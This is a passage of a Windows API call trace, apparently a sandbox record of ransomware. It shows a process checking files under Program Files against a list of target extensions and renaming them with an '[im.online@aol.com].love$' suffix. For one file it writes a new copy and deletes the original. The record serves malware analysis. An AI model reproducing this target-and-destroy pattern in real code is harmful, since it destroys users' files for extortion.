(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.884] lstrlenW (lpString=".jpg") returned 4 [0105.884] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.884] lstrlenW (lpString=".doc") returned 4 [0105.884] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString=".docx") returned 5 [0105.884] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0105.884] lstrlenW (lpString=".pdf") returned 4 [0105.884] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString=".xls") returned 4 [0105.884] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString=".xlsx") returned 5 [0105.884] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0105.884] lstrlenW (lpString=".ppt") returned 4 [0105.884] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.884] lstrlenW (lpString=".zip") returned 4 [0105.884] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString=".rar") returned 4 [0105.884] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString=".bz2") returned 4 [0105.884] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.884] lstrlenW (lpString=".7z") returned 3 [0105.884] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.885] lstrlenW (lpString=".dbf") returned 4 [0105.885] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.885] lstrlenW (lpString=".1cd") returned 4 [0105.885] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0105.885] lstrlenW (lpString=".jpg") returned 4 [0105.885] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.885] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.885] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0105.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.026] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1600388) returned 1 [0106.026] CloseHandle (hObject=0x340) returned 1 [0106.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0106.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[im.online@aol.com].love$")) returned 0 [0106.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.032] lstrlenW (lpString=".doc") returned 4 [0106.032] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString=".docx") returned 5 [0106.032] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0106.032] lstrlenW (lpString=".pdf") returned 4 [0106.032] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString=".xls") returned 4 [0106.032] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString=".xlsx") returned 5 [0106.032] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0106.032] lstrlenW (lpString=".ppt") returned 4 [0106.032] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.032] lstrlenW (lpString=".zip") returned 4 [0106.032] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString=".rar") returned 4 [0106.032] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString=".bz2") returned 4 [0106.032] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.032] lstrlenW (lpString=".7z") returned 3 [0106.032] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.032] lstrlenW (lpString=".dbf") returned 4 [0106.032] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.033] lstrlenW (lpString=".1cd") returned 4 [0106.033] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.033] lstrlenW (lpString=".jpg") returned 4 [0106.033] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.033] lstrlenW (lpString=".doc") returned 4 [0106.033] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString=".docx") returned 5 [0106.033] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0106.033] lstrlenW (lpString=".pdf") returned 4 [0106.033] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString=".xls") returned 4 [0106.033] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString=".xlsx") returned 5 [0106.033] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0106.033] lstrlenW (lpString=".ppt") returned 4 [0106.033] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.033] lstrlenW (lpString=".zip") returned 4 [0106.033] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString=".rar") returned 4 [0106.033] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.033] lstrlenW (lpString=".bz2") returned 4 [0106.033] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.034] lstrlenW (lpString=".7z") returned 3 [0106.034] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.034] lstrlenW (lpString=".dbf") returned 4 [0106.034] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.034] lstrlenW (lpString=".1cd") returned 4 [0106.034] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0106.034] lstrlenW (lpString=".jpg") returned 4 [0106.034] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.034] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.034] lstrlenW (lpString="insertbase.xml") returned 14 [0106.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.042] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=903) returned 1 [0106.042] CloseHandle (hObject=0x340) returned 1 [0106.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0106.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.042] lstrlenW (lpString=".doc") returned 4 [0106.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString=".docx") returned 5 [0106.043] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0106.043] lstrlenW (lpString=".pdf") returned 4 [0106.043] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString=".xls") returned 4 [0106.043] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString=".xlsx") returned 5 [0106.043] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0106.043] lstrlenW (lpString=".ppt") returned 4 [0106.043] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.043] lstrlenW (lpString=".zip") returned 4 [0106.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.043] lstrlenW (lpString=".rar") returned 4 [0106.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString=".bz2") returned 4 [0106.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString=".7z") returned 3 [0106.043] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.043] lstrlenW (lpString=".dbf") returned 4 [0106.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.043] lstrlenW (lpString=".1cd") returned 4 [0106.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.043] lstrlenW (lpString=".jpg") returned 4 [0106.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.044] lstrlenW (lpString=".doc") returned 4 [0106.044] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString=".docx") returned 5 [0106.044] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0106.044] lstrlenW (lpString=".pdf") returned 4 [0106.044] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString=".xls") returned 4 [0106.044] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString=".xlsx") returned 5 [0106.044] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0106.044] lstrlenW (lpString=".ppt") returned 4 [0106.044] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.044] lstrlenW (lpString=".zip") returned 4 [0106.044] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.044] lstrlenW (lpString=".rar") returned 4 [0106.044] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString=".bz2") returned 4 [0106.044] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString=".7z") returned 3 [0106.044] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.044] lstrlenW (lpString=".dbf") returned 4 [0106.044] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.044] lstrlenW (lpString=".1cd") returned 4 [0106.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0106.045] lstrlenW (lpString=".jpg") returned 4 [0106.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.045] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.045] lstrlenW (lpString="ea.xml") returned 6 [0106.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0106.050] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=384) returned 1 [0106.050] CloseHandle (hObject=0x318) returned 1 [0106.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0106.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.051] lstrlenW (lpString=".doc") returned 4 [0106.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.051] lstrlenW (lpString=".docx") returned 5 [0106.051] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0106.051] lstrlenW (lpString=".pdf") returned 4 [0106.051] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.051] lstrlenW (lpString=".xls") returned 4 [0106.051] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.051] lstrlenW (lpString=".xlsx") returned 5 [0106.051] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0106.051] lstrlenW (lpString=".ppt") returned 4 [0106.051] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.051] lstrlenW (lpString=".zip") returned 4 [0106.051] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.051] lstrlenW (lpString=".rar") returned 4 [0106.051] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.051] lstrlenW (lpString=".bz2") returned 4 [0106.051] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.051] lstrlenW (lpString=".7z") returned 3 [0106.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.052] lstrlenW (lpString=".dbf") returned 4 [0106.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.052] lstrlenW (lpString=".1cd") returned 4 [0106.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.052] lstrlenW (lpString=".jpg") returned 4 [0106.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.052] lstrlenW (lpString=".doc") returned 4 [0106.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString=".docx") returned 5 [0106.052] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0106.052] lstrlenW (lpString=".pdf") returned 4 [0106.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString=".xls") returned 4 [0106.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString=".xlsx") returned 5 [0106.052] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0106.052] lstrlenW (lpString=".ppt") returned 4 [0106.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.052] lstrlenW (lpString=".zip") returned 4 [0106.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.052] lstrlenW (lpString=".rar") returned 4 [0106.053] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.053] lstrlenW (lpString=".bz2") returned 4 [0106.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.053] lstrlenW (lpString=".7z") returned 3 [0106.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.053] lstrlenW (lpString=".dbf") returned 4 [0106.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.053] lstrlenW (lpString=".1cd") returned 4 [0106.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0106.053] lstrlenW (lpString=".jpg") returned 4 [0106.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.053] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.053] lstrlenW (lpString="kor-kor.xml") returned 11 [0106.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.095] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=392) returned 1 [0106.095] CloseHandle (hObject=0x368) returned 1 [0106.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0106.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0106.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0106.095] lstrlenW (lpString=".doc") returned 4 [0106.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.096] lstrlenW (lpString=".docx") returned 5 [0106.096] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0106.096] lstrlenW (lpString=".pdf") returned 4 [0106.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.096] lstrlenW (lpString=".xls") returned 4 [0106.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.096] lstrlenW (lpString=".xlsx") returned 5 [0106.096] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0106.096] lstrlenW (lpString=".ppt") returned 4 [0106.096] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0106.096] lstrlenW (lpString=".zip") returned 4 [0106.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.096] lstrlenW (lpString=".rar") returned 4 [0106.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.096] lstrlenW (lpString=".bz2") returned 4 [0106.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.096] lstrlenW (lpString=".7z") returned 3 [0106.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0106.096] lstrlenW (lpString=".dbf") returned 4 [0106.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.991] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.003] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.003] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.004] GetLastError () returned 0x0 [0107.004] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x218e, lpOverlapped=0x0) returned 1 [0107.009] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2190, lpOverlapped=0x0) returned 1 [0107.010] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.010] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe8, lpOverlapped=0x0) returned 1 [0107.010] SetEndOfFile (hFile=0x34c) returned 1 [0107.011] CloseHandle (hObject=0x34c) returned 1 [0107.012] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.012] SetEndOfFile (hFile=0x2c8) returned 1 [0107.013] CloseHandle (hObject=0x2c8) returned 1 [0107.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.014] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0107.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.014] lstrlenW (lpString=".doc") 